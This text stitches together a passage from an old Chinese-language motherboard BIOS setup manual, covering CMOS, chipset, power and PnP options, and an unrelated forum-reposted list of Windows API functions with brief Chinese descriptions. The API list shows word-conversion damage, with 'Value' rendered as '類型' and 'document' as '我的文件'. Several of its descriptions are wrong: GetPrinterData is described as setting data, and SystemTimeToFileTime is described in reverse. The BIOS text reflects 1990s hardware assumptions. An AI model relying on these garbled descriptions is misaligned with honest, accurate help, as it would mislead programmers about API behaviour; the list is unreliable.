LARGE模式:當硬碟機容量超過528MB,而硬碟或作業系統不支援LBA模式時,可採用此選項。
DriverA/DriverB(None)
此選項設定軟碟機之類型，可供選擇之項目有:360KB,5.25in;1.2MB,5.25in;720KB,3.5in;1.44MB,3.5in;2.88MB,3.5in;None等六種類型。
Floppy3ModeSupport(預設值為Disable)
若使用日本標準模式之軟碟機(Floppy3Mode),則設定之。否則請取消(disable)此設定功能。可供選擇之項目有:driveA,driveB,Both,及Disable。
Video(視訊顯示卡型態,預設值為EGA/VGA)
設定顯示卡之種類,可供選擇之項目有:MONO(單色),EGA/VGA(彩色),CGA40,CGA80。
HaltOn(暫停開機,預設值為AllError)
本欄設定何種型態的異常將會導致系統暫停開機,可供選擇之項目有:
AllErrors:有任何錯誤,系統均顯示錯誤訊息,並暫停開機。
NoErrors:無論任何錯誤系統均照常開機。
All,Butkeyboard:有任何錯誤,系統暫停開機,但鍵盤異常則照常開機
All,ButDisk/Key:有任何錯誤,系統暫停開機,但磁碟機及鍵盤異常則照常開機。
【BIOSFeaturesSetup】BIOS特殊參數設定
本項設定可根據您的系統及需求來強化您系統的性能,但若對設定之功能不甚了解,建議您使用預設值。在本項設定主畫面右下方描述了功能鍵之操作方法。BIOS特殊參數設定功能說明如下：
VirusWarning病毒防護警告(預設值為Disable)
此功能可防止硬碟之開機磁區及分割區被更改,任何試圖寫入該區之動作將會導致系統當機並顯示警告訊息。
[請注意]:當您安裝新的作業系統(如Win95)時,請先取消(disable)此功能,以免因衡突而無法順利安裝。
CPUInternalCache(CPU內部快取記憶體,預設值為Enable)
本項功能用於啟用(enable)或取消(disable)CPULevel1快取記憶體。就整體速度而言,啟用L1快取將比取消L1快取時提升許多。因此,預設值為啟用(enable)。
ExternalCache(外部快取功能，預設值為Enable)
本項功能用於啟用(enable)或取消(disable)CPULevel2快取記憶體。就整體速度而言,啟用L2快取將比取消L2快取時提升許多。因此,預設值為啟用(enable)。PentiumProCPU已內建L2快取記憶體。
QuickPowerOnSelfTest(快速開機自我測試,預設值為Enable)
電腦開機時,BIOS會執行一連串之開機自我測試。當啟用本功能時,會精簡及跳過相同項目之測試,以縮短開機時間。
HDDSequenceSCSI/IDEFirst(IDE/SCSI硬碟開機優先順序,預設值為IDE)
當同時安裝SCSI及IDE硬碟時,本選項功能可用來選擇以SCSI或IDE硬碟作為開機硬碟。
BootSequence(開機順序,預設值為C,A)
此選項設定當電腦開機時,選擇由A碟,C碟及CD-ROM開機之優先順序。
SwapFloppyDrive(軟碟機互換,預設值為Disable)
當啟用(enable)本項功能時,則A,B碟互換。亦即原先A碟被指定成B碟,B碟被指定為A碟。如此一來,您就不需打開機殼互換排線了。
BootUpFloppySeek(開機軟碟搜尋,預設值為Disable)
當啟用(enable)本功能,則電腦開機時,BIOS之POST程式會去偵測Floppy是否存在。否則,跳過此偵測動作。
FloppyDiskAccessControl(軟碟存取控制讀/取,預設值為R/W)
本功能主要用來控制軟碟之存取。當選取“ReadOnly”時,則只能由軟碟讀取資料,而無法將系統之資料拷貝至軟碟中,當選取R/W時,則軟碟可正常讀取資料。
BootUpNumLockStatus(開機數字鍵鎖定狀態,預設值為On)
On:開機時數字鍵設定為數字狀態
Off:開機時數字鍵設定為方向狀態
IDEHDDBlockModeSectors(IDE硬碟磁區設定,預設值為HDDMAX)
新式IDE硬碟大多支援一次傳輸多個磁區之功能。啟用(enable)本功能則可加快硬碟存取速度。選項有HDDMAX,Disabled,2,4,8,16,及32。
TypematicRateSetting(鍵盤速率設定,預設值為Disable)
本選項用來決定是否啟用鍵盤速率設定功能。若啟用(enable),則TypematicRate及TypematicRelay之設定才有作用。
TypematicRate(字元/秒,鍵盤重覆率,預設值為6)
本選項設定:當您按鍵不放時,每秒出現之字元數。選項有：6,8,10,12,15,20,24,30(字元/秒)。
Typematicdelay(輸入延遲時間,預設值為250ms)
當按鍵不放,則超過設定延遲時間後,鍵盤會以一定速率重覆輸入字元。選項有250ms,500ms,750ms,1000ms。
SecurityOption(安全選項設定,預設值為System)
本選項設定要求使用者輸入密碼之時機,有下列兩種選項:System:每次開機時,電腦會要求輸入正確密碼,否則無法開機。Setup:只有在進入BIOS設定時,系統才會要求輸入確密碼。
PS/2MouseFunctionControl(PS/2滑鼠功能控制,預設值為Auto)
若設定為Auto:則開機時,系統將會偵測PS/2滑鼠是否存在。若存在,則IRQ12即保留給PS/2Mouse使用。若設定為disable:則IRQ12保留給介面卡使用,此時PS/2滑鼠沒有作用。
PCI/VGAPaletteSnoop(預設值為Disable)
若使用非標準VGA卡(如影像加速卡、MPEG卡)有時無法正常顯現色彩,此時設為"Enable"將可解決此問題。除此之外,建議使用預設值。
OS/2OnboardMemory>64M(預設值為Disable)
若作業系統使用OS/2,且安裝之主記憶體容量超過64MB則設定為啟用(enable),否則設定為預設值Disable。
VideoBIOSShadow(視訊BIOS快速執行功能,預設值為Enable)
啟動本功能,則VGA之BIOS即拷貝至主記憶體以加速執行速度,若取消(disable)此功能,則顯示速度將變得很慢。
C8000-CBFFFtoDC000-DFFFF(預設值為Disable)
若您使用其他介面卡,則選取此功能時,系統將會利用Shadow技術來加快介面卡上ROM之執行速度。不過,如此一來將會佔用主記憶體之空間。
【ChipsetFeaturesSetup】晶片組參數設定:
本選項主要是經由晶片組之參數設定,來調整硬體文件之性能.若對這些設定內容不甚了解建議您採用預設值。
AutoConfiguration(自動設定,預設值為60nsDRAM)
您可依照您所使用的記憶體來選取60MDRAMor70NSDRAM選項,則BIOS會根據您的設定自動調整第2到9選項。若選擇“disable”(取消),則第2至第9選項可自行調整。
SDRAMCAS#Latency(預設值為3T)
若您使用較快SDRAM模組,則可設為2T來獲得更快之存取速度。否則請設為預設值3T,或洽詢您的經銷商有關DIMM之規格。
SDRAMSpeculativeRead(預設值為Disable)
PassiveRelease(預設值Enable)
RelayTransaction(預設值為Disable)
16-bitI/ORecoveryTime(16位元之I/O恢復時間,預設值為1BUSCLK)
定義為16-bitISA卡I/O之恢復時間。
8-bitI/ORecoveryTime(8位元之I/O恢復時間,預設值為1BUSCLK)
定義為8-bitISA卡I/O之恢復時間。
VIDEOBIOSCacheable(視訊快取功能,預設值為Disable)
Enable:啟用快取功能以加快顯示速度。
Disable:取消此功能。
MemoryHoleatAddress(預設值為None)
一些ISA卡會要求使用14-16MB或15-16MB之記憶位址空間,若選取14MB-16MB或15MB-16MB,則系統將無法使用這部份之記憶體空間。您可選取None來取消此功能。
OnboardFDCSwapA:BA，B碟互換,預設值為NoSwap)
當啟用(enable)本項功能時則A,B碟互換。亦即原先A碟被指定成B碟,B碟被指定為A碟。如此一來，您就不需打開機殼互換排線了。
OnboardSerialPort1預設值為3F8H/IRQ4)
設定主機板上串列埠1之位址及IRQ
OnboardSerialPort2預設值為2F8H/IRQ3)
設定主機板上串列埠2之位址及IRQ
OnboardParallelPort預設值為378H/IRQ7)
設定主機板上並列埠之位址及IRQ。
ParallelPortMode(並列埠模式,預設值為ECP+EPP)
設定並列埠之操作模式,有下列選項:
Normal:一般速度單向執行。
EPP:最高速度雙向執行。
ECP:超高速雙自執行。
ECP+EPP:ECP與EPP二種模式並用。
ECPDMASelect(ECPDMA通道選擇,預設值為3)
若在ECP模式下操作時,則提供DMA通道選擇有1,3,Disable三種設定。
UART2UseInfrared(預設值為Disable)
本項功能用來支援紅外線（IR）傳輸功能。
Enable：則設定第二串列埠UART支援紅外線傳輸功能。
Disable：則設定第二串列埠UART支援COM2。
OnboardPCIIDEEnable(主機板IDE通道,預設值為Both)
用來啟用內建IDE通道。選項有：
PrimaryIDEChannel
SecondaryIDEChannel
Both(二者均啟用)
Disable(取消)。
IDE0Master/SlaveMode,IDE1Master/SlaveMode(硬碟時序模式設定,預設值為Auto)
預設為Auto時,系統會自動偵測四個IDE裝置之時序模式以確保以最佳速度運行。您也可以自行設定時序模式為(0,1,2,3,4)。
【PowerManagementSetup】電源管理設定
VideoOFFOption（關閉螢幕省電設定,預設值為Susp,Stby->Off）
本選項用來設定螢幕省電管理模式中啟用“螢幕關閉”之時機。可選用之項目說明如下：
Susp,Stby->Off:只在待機(Standby)或暫停(Suspend)之省電模式下才關閉螢幕。
Suspend->Off:只在暫停(Suspend)模式下才關閉螢幕顯示。
Alwayson:在任何模式下均不關閉螢幕顯示。
Allmodes->Off:在任何省電模式下均關閉螢幕顯示。
VideoOFFMethod(螢幕關閉方式,預設值為V/HSYNC+Blank)
用來選擇螢幕關閉之模式。但若無法順利關閉螢幕,則設定為"Blank"若顯示卡支援DPMS功能,則設定為"DPMS"。
PWRButton<4secs(按住電源開關鍵少於4秒,預設值為SoftOff)
本功能設定當壓住電源按鍵時間少於4秒之情況下,系統之操作模式。
SoftOff:執行ATX電源軟體關機。
Suspend:系統進入暫停（Suspend）模式。
NOFunction:取消任何有關ATX開關之功能。
[請注意]:一旦PWR壓住超過4秒,則不論如何設定,系統均會關機。
PWRUpOnModemAct(數據機動作時開機,預設值為Enable)
ACPWRLossRestart(預設值為Disable)
--PMTimers--
HDDPowerDown：
當系統在選定之時間內未對硬碟進行存取動作,則進入省電模式。省電模式依耗電量大小依序為DozeMode(睡眠模式),Standbymode(待機模式)及SuspendMode(暫停模式)。若硬碟在各模式選定之時間內尚無動作,則依序進入下一個更省電模式。
FanMonitor(XXXXRPM)
主機板內建監控裝置能偵測風扇轉速(轉/秒),若無安裝支援此功能之風扇,則選取Ignore(忽略),以免產生錯誤訊息。
ThermalMonitor(xxxC/xxxF)
主機板內建監控裝置能偵測CPU及主機板之溫度。若選取Ignore則當CPU及主機板溫度異常時,將不顯示錯誤訊息。
VoltageMonitor(xx.xV)
主機板內建監控裝置能偵測系統之電壓值。若選取Ignore則當系統電壓異常時，將不顯示錯誤訊息。
【PNPandPCISetup】即插即用與PCI之設定
PNPOSInstalled(是否安裝PNP作業系統,預設值為No)
當您使用的是具有即插即用(PNP)功能的作業系統時(如Windows95,98),則您可選擇Yes。
SlotXIRQ(PCI插槽的中斷值,預設值為Auto)
用來設定每一個PCI插槽之IRQ值,項目有NA,9,10,11,12,13,14,15,及Auto(即由BIOS自動設定)。
PCILatencyTimer(預設值為32PCIClock)
採用“32PCIClock”將可使主機板之PCI速度最快。
IRQXXUsedByISA(預設值為No/ICU)
用來保留特定IRQ給non-PnP之ISA卡。
DMAXXUsedByISA(預設值為No/ICU)
用來保留特定DMA通道給non-PnP之ISA卡。
ISAMEMBlockBASE(預設值為No/ICU)
用來保留給ISA卡之記憶體之區塊大小與位址。
SYMBIOSSCSIBIOS(預設值為Auto)
本項功能可選用Auto來啟用內建NCRSCSIBIOS,您可選取Disable來取消此項功能。
USBFunction（萬用埠功能設定,預設值為Disable）
本項功能用來啟用USB之功能,本主機板可支援萬用序列埠(USB),但現在之作業系統尚未支援USB功能,所以目前採用預設值為(disable)。
【LoadBIOSDefault】（載入BIOS參數預設值）
當系統安裝後不太穩定,則可選用本功能。此時系統將會取消一些高效能之操作模式設定,而處在最保守狀態下。如此,使用者便可順利開機並進而找出問題。當選擇本項時,主畫面會出現下列訊息:
LoadBIOSDefaults（Y/N）?
鍵入Y並按Enter即可執行本項功能。
[請注意]:本項設定不會影響CMOS內儲存之設定值。
【LoadSetupDefaults】載入設定預設值
此為BIOS出廠設定值。此時系統會以最佳化之模式運作。選擇此功能時,主畫面會出現下列訊息:
LoadSETUPDefaults（Y/N）?
鍵入Y並按Enter即可執行本項功能。
【SupervisorPasswordandUserPassword】(密碼設定)
本功能用來設定System及Setup之密碼,本項功能需配合BIOSFeaturesSetup中之SecurityOption使用。
[請注意]:假若您遺忘了密碼,需透過清除CMOS之內容才得以重新開機。
【IDEHDDAutoDetection】(硬碟型態自動偵測)
此項可自動偵測IDE硬碟之規格及相關參數,並能自動存入CMOS之設定(BIOSStandardCMOSSetup)中。
【SaveandExitSetup】將設定值儲存後，離開設定主畫面。
【ExitWithoutSaving】不儲存設定值，直接離開設定主畫面。
WINDOWS API大全
WINDOWS API大全
一, 2009/07/27 - 16:24 — aikicat
WINDOWS API大全
史萊論壇 2006-05-24 psac
超級好的東西,WINDOWS API大全
1. API之網路函數
WNetAddConnection 新增同一個網路資源的永久性連接
WNetAddConnection2 新增同一個網路資源的連接
WNetAddConnection3 新增同一個網路資源的連接
WNetCancelConnection 結束一個網路連接
WNetCancelConnection2 結束一個網路連接
WNetCloseEnum 結束一次枚舉操作
WNetConnectionDialog 啟動一個標準對話視窗，以便建立同網路資源的連接
WNetDisconnectDialog 啟動一個標準對話視窗，以便中斷連線同網路資源的連接
WNetEnumResource 枚舉網路資源
WNetGetConnection 獲取本機或已連接的一個資源的網路名稱
WNetGetLastError 獲取網路錯誤的增強錯誤訊息
WNetGetUniversalName 獲取網路中一個文件的遠端名稱以及/或者UNC（統一命名規範）名稱
WNetGetUser 獲取一個網路資源用以連接的名字
WNetOpenEnum 啟動對網路資源進行枚舉的程序
2. API之消息函數
BroadcastSystemMessage 將一條系統消息廣播給系統中所有的頂級視窗
GetMessagePos 取得消息貯列中上一條消息處理完畢時的滑鼠游標螢幕位置
GetMessageTime 取得消息貯列中上一條消息處理完畢時的時間
PostMessage 將一條消息投遞到指定視窗的消息貯列
PostThreadMessage 將一條消息投遞給應用程式
RegisterWindowMessage 獲取分配給一個字串標幟符的消息編號
ReplyMessage 答覆一個消息
SendMessage 使用一個視窗的視窗函數，將一條消息發給那個視窗
SendMessageCallback 將一條消息發給視窗
SendMessageTimeout 向視窗傳送一條消息
SendNotifyMessage 向視窗傳送一條消息
3. API之文件處理函數
CloseHandle 關閉一個內核對象。其中包括文件、文件映射、工作、執行緒、安全和同步對像等
CompareFileTime 對比兩個文件的時間
CopyFile 複製文件
CreateDirectory 新增一個新目錄
CreateFile 開啟和新增文件、管道、郵槽、通信服務、設備以及控制台
CreateFileMapping 新增一個新的文件映射對像
DeleteFile 移除指定文件
DeviceIoControl 對設備執行指定的操作
DosDateTimeToFileTime 將DOS日期和時間值轉換成一個 win32 FILETIME 值
FileTimeToDosDateTime 將一個 win32 FILETIME 值轉換成DOS日期和時間值
FileTimeToLocalFileTime 將一個FILETIME結構轉換成本機時間
FileTimeToSystemTime 根據一個FILETIME結構的內容，安裝載入一個SYSTEMTIME結構
FindClose 關閉由FindFirstFile函數新增的一個搜尋關鍵句
FindFirstFile 根據檔案名尋找文件
FindNextFile 根據使用FindFirstFile函數時指定的一個檔案名尋找下一個文件
FlushFileBuffers 針對指定的文件關鍵句，重新整理內部文件緩衝區
FlushViewOfFile 將寫入文件映射緩衝區的所有資料都重新整理到磁牒
GetBinaryType 判斷文件是否可以執行
GetCompressedFileSize 判斷一個壓縮檔案在磁牒上實際佔據的字元數
GetCurrentDirectory 在一個緩衝區中安裝載入當前目錄
GetDiskFreeSpace 獲取與一個磁牒的組織有關的訊息，以及瞭解剩餘空間的容量
GetDiskFreeSpaceEx 獲取與一個磁牒的組織以及剩餘空間容量有關的訊息
GetDriveType 判斷一個磁碟機的檔案類型
GetExpandedName 取得一個壓縮檔案的全名
GetFileAttributes 判斷指定文件的內容
GetFileInformationByHandle 這個函數提供了獲取文件訊息的一種機制
GetFileSize 判斷文件長度
GetFileTime 取得指定文件的時間訊息
GetFileType 在指出文件關鍵句的前提下，判斷檔案類型
GetFileVersionInfo 從支持版本標記的一個模組裡獲取文件版本訊息
GetFileVersionInfoSize 針對包含了版本資源的一個文件，判斷容納文件版本訊息需要一個多大的緩衝區
GetFullPathName 獲取指定文件的完整路徑名
GetLogicalDrives 判斷系統中存在哪些邏輯磁碟機字母
GetLogicalDriveStrings 獲取一個字串，其中包含了當前所有邏輯磁碟機的根驅動器路徑
GetOverlappedResult 判斷一個重疊操作現用的狀態
GetPrivateProfileInt 為啟始化文件（.ini文件）中指定的 列項獲取一個整數值
GetPrivateProfileSection 獲取指定小節（在.ini文件中）所有項名和值的一個列表
GetPrivateProfileString 為啟始化文件中指定的 列項取得字串
GetProfileInt 取得win.ini啟始化文件中指定 列項的一個整數值
GetProfileSection 獲取指定小節（在win.ini文件中）所有項名和值的一個列表
GetProfileString 為win.ini啟始化文件中指定的 列項取得字串
GetShortPathName 獲取指定文件的短路徑名
GetSystemDirectory 取得Windows系統目錄（即System目錄）的完整路徑名
GetTempFileName 這個函數包含了一個臨時文件的名字，它可由應用程式使用
GetTempPath 獲取為臨時文件指定的路徑
GetVolumeInformation 獲取與一個磁牒磁碟區有關的訊息
GetWindowsDirectory 獲取Windows目錄的完整路徑名
hread 參考lread
hwrite 參考lwrite函數
lclose 關閉指定的文件
lcreat 新增一個文件
llseek 設定文件中進行讀寫的當前位置
LockFile 鎖定文件的某一部分，使其不與其他應用程式共享
LockFileEx 與LockFile相似，只是它提供了更多的功能
lopen 以二進制模式開啟指定的文件
lread 將文件中的資料讀入記憶體緩衝區
lwrite 將資料從記憶體緩衝區寫入一個文件
LZClose 關閉由LZOpenFile 或 LZInit函數開啟的一個文件
LZCopy 複製一個文件
LZInit 這個函數用於啟始化內部緩衝區
LZOpenFile 該函數能執行大量不同的文件處理，而且相容於壓縮檔案
LZRead 將資料從文件讀入記憶體緩衝區
LZSeek 設定一個文件中進行讀寫的當前位置
MapViewOfFile 將一個文件映射對像映射到當前應用程式的位址空間
MoveFile 移動文件
OpenFile 這個函數能執行大量不同的文件操作
OpenFileMapping 開啟一個現成的文件映射對像
QueryDosDevice 在Windows NT中，DOS設備名會映射成NT系統設備名。該函數可判斷現用的設備映射情況
ReadFile 從文件中讀出資料
ReadFileEx 與ReadFile相似，只是它只能用於異步讀操作，並包含了一個完整的回調
RegCloseKey 關閉系統註冊表中的一個項（或鍵）
RegConnectRegistry 訪問遠端系統的部分註冊表
RegCreateKey 在指定的項下新增或開啟一個項
RegCreateKeyEx 在指定項下新增新項的更複雜的方式。在Win32環境中建議使用這個函數
RegDeleteKey 移除現有項下方一個指定的子項
RegDelete類型 移除指定項下方的一個值
RegEnumKey 枚舉指定項的子項。在Win32環境中應使用RegEnumKeyEx
RegEnumKeyEx 枚舉指定項下方的子項
RegEnum類型 枚舉指定項的值
RegFlushKey 將對項和它的子項作出的改動實際寫入磁牒
RegGetKeySecurity 獲取與一個註冊表項有關的安全訊息
RegLoadKey 從以前用RegSaveKey函數新增的一個文件裡安裝載入註冊表訊息
RegNotifyChangeKey類型 註冊表項或它的任何一個子項發生變化時，用這個函數提供一種通知機制
RegOpenKey 開啟一個現有的註冊表項
RegOpenKeyEx 開啟一個現有的項。在win32下推薦使用這個函數
RegQueryInfoKey 獲取與一個項有關的訊息
RegQuery類型 取得指定項或子項的預設值（未命名）值
RegQuery類型Ex 獲取一個項的設定值
RegReplaceKey 用一個磁牒文件儲存的訊息取代註冊表訊息；並新增一個制作備份，在其中包含當前註冊表訊息
RegRestoreKey 從一個磁牒文件恢復註冊表訊息
RegSaveKey 將一個項以及它的所有子項都儲存到一個磁牒文件
RegSetKeySecurity 設定指定項的安全特性
RegSet類型 設定指定項或子項的預設值
RegSet類型Ex 設定指定項的值
RegUnLoadKey 卸載指定的項以及它的所有子項
RemoveDirectory 移除指定目錄
SearchPath 尋找指定文件
SetCurrentDirectory 設定當前目錄
SetEndOfFile 針對一個開啟的文件，將當前文件位置設為文件末尾
SetFileAttributes 設定文件內容
SetFilePointer 在一個文件中設定現用的讀寫位置
SetFileTime 設定文件的新增、訪問及上次修改時間
SetHandleCount 這個函數不必在win32下使用；即使使用，也不會有任何效果
SetVolumeLabel 設定一個磁牒的卷冊（Label）
SystemTimeToFileTime 根據一個FILETIME結構的內容，載入一個SYSTEMTIME結構
UnlockFile 解除對一個文件的鎖定
UnlockFileEx 解除對一個文件的鎖定
UnmapViewOfFile 在當前應用程式的記憶體位址空間解除對一個文件映射對象的映射
VerFindFile 用這個函數決定一個文件應安裝到哪裡
VerInstallFile 用這個函數安裝一個文件
VerLanguageName 這個函數能根據16位語言程式碼獲取一種語言的名稱
VerQuery類型 這個函數用於從版本資源中獲取訊息
WriteFile 將資料寫入一個文件
WriteFileEx 與WriteFile類似，只是它只能用於異步寫操作，並包括了一個完整的回調
WritePrivateProfileSection 為一個啟始化文件（.ini）中指定的小節設定所有項名和值
WritePrivateProfileString 在啟始化文件指定小節內設定一個字串
WriteProfileSection 為Win.ini啟始化文件中一個指定的小節設定所有項名和值
WriteProfileString 在Win.ini啟始化文件指定小節內設定一個字串
4. API之列印函數
AbortDoc 取消一份我的文件的列印
AbortPrinter 移除與一台列印機關聯在一起的緩衝文件
AddForm 為列印機的表單列表增加一個新表單
AddJob 用於獲取一個有效的路徑名，以便用它為作業新增一個後台列印文件。它也會為作業分配一個作業編號
AddMonitor 為系統增加一個列印機監視器
AddPort 啟動"增加連接阜"對話視窗，允許用戶在系統可用連接阜列表中加入一個新連接阜
AddPrinter 在系統中增加一台新列印機
AddPrinterConnection 連接指定的列印機
AddPrinterDriver 為指定的系統增加一個列印驅動程式
AddPrintProcessor 為指定的系統增加一個列印處理器
AddPrintProvidor 為系統增加一個列印供應商
AdvancedDocumentProperties 啟動列印機我的文件設定對話視窗
ClosePrinter 關閉一個開啟的列印機對像
ConfigurePort 針對指定的連接阜，啟動一個連接阜組態對話視窗
ConnectToPrinterDlg 啟動連接列印機對話視窗，用它同訪問網路的列印機連接
DeleteForm 從列印機可用表單列表中移除一個表單
DeleteMonitor 移除指定的列印監視器
DeletePort 啟動"移除連接阜"對話視窗，允許用戶從當前系統移除一個連接阜
DeletePrinter 將指定的列印機標誌為從系統中移除
DeletePrinterConnection 移除與指定列印機的連接
DeletePrinterDriver 從系統移除一個列印機驅動程式
DeletePrintProcessor 從指定系統移除一個列印處理器
DeletePrintProvidor 從系統中移除一個列印供應商
DeviceCapabilities 利用這個函數可獲得與一個設備的能力有關的訊息
DocumentProperties 列印機組態控制函數
EndDocAPI 結束一個成功的列印作業
EndDocPrinter 在後台列印程序的等級指定一個我的文件的結束
EndPage 用這個函數完成一個頁面的列印，並準備設備場景，以便列印下一個頁
EndPagePrinter 指定一個頁在列印作業中的結尾
EnumForms 枚舉一台列印機可用的表單
EnumJobs 枚舉列印貯列中的作業
EnumMonitors 枚舉可用的列印監視器
EnumPorts 枚舉一個系統可用的連接阜
EnumPrinterDrivers 枚舉指定系統中已安裝的列印機驅動程式
EnumPrinters 枚舉系統中安裝的列印機
EnumPrintProcessorDatatypes 枚舉由一個列印處理器支持的資料檔案類型
EnumPrintProcessors 枚舉系統中可用的列印處理器
Escape 設備控制函數
FindClosePrinterChangeNotification 關閉用FindFirstPrinterChangeNotification函數獲取的一個列印機通告對像
FindFirstPrinterChangeNotification 新增一個新的改變通告對象，以便我們注意列印機狀態的各種變化
FindNextPrinterChangeNotification 用這個函數判斷觸發一次列印機改變通告信號的原因
FreePrinterNotifyInfo 解壓縮由FindNextPrinterChangeNotification函數分配的一個緩衝區
GetForm 取得與指定表單有關的訊息
GetJob 獲取與指定作業有關的訊息
GetPrinter 取得與指定列印機有關的訊息
GetPrinterData 為列印機設定註冊表配置資訊
GetPrinterDriver 針對指定的列印機，獲取與列印機驅動程式有關的訊息
GetPrinterDriverDirectory 判斷指定系統中包含了列印機驅動程式的目錄是什麼
GetPrintProcessorDirectory 判斷指定系統中包含了列印機處理器驅動程式及文件的目錄
OpenPrinter 開啟指定的列印機，並獲取列印機的關鍵句
PrinterMessageBox 在擁有指定列印作業的系統上顯示一個列印機出現錯誤訊息框
PrinterProperties 啟動列印機內容對話視窗，以便對列印機進行組態
ReadPrinter 從列印機讀入資料
ResetDC 重設一個設備場景
ResetPrinter 改變指定列印機的預設值資料檔案類型及我的文件設定
ScheduleJob 提交一個要列印的作業
SetAbortProc 為Windows指定取消函數的位址
SetForm 為指定的表單設定訊息
SetJob 對一個列印作業的狀態進行控制
SetPrinter 對一台列印機的狀態進行控制
SetPrinterData 設定列印機的註冊表配置資訊
StartDoc 開始一個列印作業
StartDocPrinter 在後台列印的等級啟動一個新我的文件
StartPage 列印一個新頁前要先使用這個函數
StartPagePrinter 在列印作業中指定一個新頁的開始
WritePrinter 將傳送目錄中的資料寫入列印機
5. API之文本和字體函數
AddFontResource 在Windows系統中增加一種字體資源
CreateFont 用指定的內容新增一種邏輯字體
CreateFontIndirect 用指定的內容新增一種邏輯字體
CreateScalableFontResource 為一種TureType字體新增一個資源文件，以便能用API函數AddFontResource將其加入Windows系統
DrawText 將文本描繪到指定的矩形中
DrawTextEx 與DrawText相似，只是加入了更多的功能
EnumFontFamilies 列舉指定設備可用的字體
EnumFontFamiliesEx 列舉指定設備可用的字體
EnumFonts 列舉指定設備可用的字體
ExtTextOut 經過增強的文本描繪函數。也請參考SetTextAlign函數
GetAspectRatioFilterEx 用SetMapperFlags要求Windows只選項與設備當前縱橫比相符的光柵字體時，本函數可判斷縱橫比大小
GetCharABCWidths 判斷TureType字體中一個或多個字串的A-B-C大小
GetCharABCWidthsFloat 查詢一種字體中一個或多個字串的A-B-C尺寸
GetCharacterPlacement 該函數用於瞭解如何用一個給定的字串顯示一個字串
GetCharWidth 調查字體中一個或多個字串的寬度
GetFontData 接收一種可縮放字體文件的資料
GetFontLanguageInfo 返回目前選入指定設備場景中的字體的訊息
GetGlyphOutline 取得TureType字體中構成一個字串的曲線訊息
GetKerningPairs 取得指定字體的字距訊息
GetOutlineTextMetrics 接收與TureType字體內部特徵有關的詳細資料
GetRasterizerCaps 瞭解系統是否有能力支持可縮放的字體
GetTabbedTextExtent 判斷一個字串佔據的範圍，同時考慮製表站擴充的因素
GetTextAlign 接收一個設備場景現用的文本對齊標誌
GetTextCharacterExtra 判斷額外字串間距的當前值
GetTextCharset 接收當前選入指定設備場景的字體的字串集標幟符
GetTextCharsetInfo 獲取與當前選定字體的字串集有關的詳細資料
GetTextColor 判斷當前字體顏色。通常也稱為"前景色"
GetTextExtentExPoint 判斷要填入指定區域的字串數量。也用一個陣列安裝載入每個字串的範圍訊息
GetTextExtentPoint 判斷一個字串的大小（範圍）
GetTextFace 獲取一種字體的字樣名
GetTextMetrics 獲取與選入一種設備場景的物理字體有關的訊息
GrayString 描繪一個以灰色顯示的字串。通常由Windows用於標幟禁止狀態
PolyTextOut 描繪一系列字串
RemoveFontResource 從Windows系統中移除一種字體資源
SetMapperFlags Windows對字體進行映射時，可用該函數選項與目標設備的縱橫比相符的光柵字體
SetTextAlign 設定文本對齊方式，並指定在文本輸出程序中使用設備場景的當前位置
SetTextCharacterExtra 描繪文本的時候，指定要在字串間插入的額外間距
SetTextColor 設定當前文本顏色。這種顏色也稱為"前景色"
SetTextJustification 通過指定一個文本行應佔據的額外空間，可用這個函數對文本進行兩端對齊處理
TabbedTextOut 支持製表站的一個文本描繪函數
TextOut 文本繪圖函數
6. API之表單函數
AppendMenu 在指定的表單裡增加一個表單項
CheckMenuItem 複選或撤消複選指定的表單 列項
CheckMenuRadioItem 指定一個表單 列項被複選成"單選"項目
CreateMenu 新增新表單
CreatePopupMenu 新增一個空的彈出式表單
DeleteMenu 移除指定的表單 列項
DestroyMenu 移除指定的表單
DrawMenuBar 為指定的視窗重畫表單
EnableMenuItem 允許或禁止指定的表單 列項
GetMenu 取得視窗中一個表單的關鍵句
GetMenuCheckMarkDimensions 返回一個表單複選符的大小
GetMenuContextHelpId 取得一個表單的說明 場景ID
GetMenuDefaultItem 判斷表單中的哪個 列項是預設值 列項
GetMenuItemCount 返回表單中 列項（表單項）的數量
GetMenuItemID 返回位於表單中指定位置處的 列項的表單ID
GetMenuItemInfo 取得（接收）與一個表單 列項有關的特定訊息
GetMenuItemRect 在一個矩形中安裝載入指定表單 列項的螢幕坐標訊息
GetMenuState 取得與指定表單 列項狀態有關的訊息
GetMenuString 取得指定表單 列項的字串
GetSubMenu 取得一個彈出式表單的關鍵句，它位於表單中指定的位置
GetSystemMenu 取得指定視窗的系統表單的關鍵句
HiliteMenuItem 控制頂級表單 列項的加亮顯示狀態
InsertMenu 在表單的指定位置處插入一個表單 列項，並根據需要將其他 列項向下移動
InsertMenuItem 插入一個新表單 列項
IsMenu 判斷指定的關鍵句是否為一個表單的關鍵句
LoadMenu 從指定的模組或應用程式實例中載入一個表單
LoadMenuIndirect 載入一個表單
MenuItemFromPoint 判斷哪個表單 列項包含了螢幕上一個指定的點
ModifyMenu 改變表單 列項
RemoveMenu 移除指定的表單 列項
SetMenu 設定視窗表單
SetMenuContextHelpId 設定一個表單的說明 場景ID
SetMenuDefaultItem 將一個表單 列項設為預設值 列項
SetMenuItemBitmaps 設定一幅特定圖形，令其在指定的表單 列項中使用，替代標準的複選符號（√）
SetMenuItemInfo 為一個表單 列項設定指定的訊息
TrackPopupMenu 在螢幕的任意地方顯示一個彈出式表單
TrackPopupMenuEx 與TrackPopupMenu相似，只是它提供了額外的功能
7. API之圖形、圖示和光柵運算函數
BitBlt 將一幅圖形從一個設備場景複製到另一個
CopyIcon 製作指定圖示或滑鼠游標的一個副本。這個副本從屬於發出使用的應用程式
CopyImage 複製圖形、圖示或游標，同時在複製程序中進行一些轉換工作
CreateBitmap 按照規定的格式新增一幅與設備有關圖形
CreateBitmapIndirect 新增一幅與設備有關圖形
CreateCompatibleBitmap 新增一幅與設備有關圖形，它與指定的設備場景相容
CreateCursor 新增一個滑鼠游標
CreateDIBitmap 根據一幅與設備無關的圖形新增一幅與設備有關的圖形
CreateDIBSection 新增一個DIBSection
CreateIcon 新增一個圖示
CreateIconIndirect 新增一個圖示
DestroyCursor 清除指定的滑鼠游標，並解壓縮它佔用的所有系統資源
DestroyIcon 清除圖示
DrawIcon 在指定的位置畫一個圖示
DrawIconEx 描繪一個圖示或滑鼠游標。與DrawIcon相比，這個函數提供了更多的功能
ExtractAssociatedIcon 判斷一個可執行程序或DLL中是否存在圖示，或是否有圖示與系統註冊表中指定的文件存在關聯並抽取之
ExtractIcon 判斷一個可執行文件或DLL中是否有圖示存在，並將其抽取出來
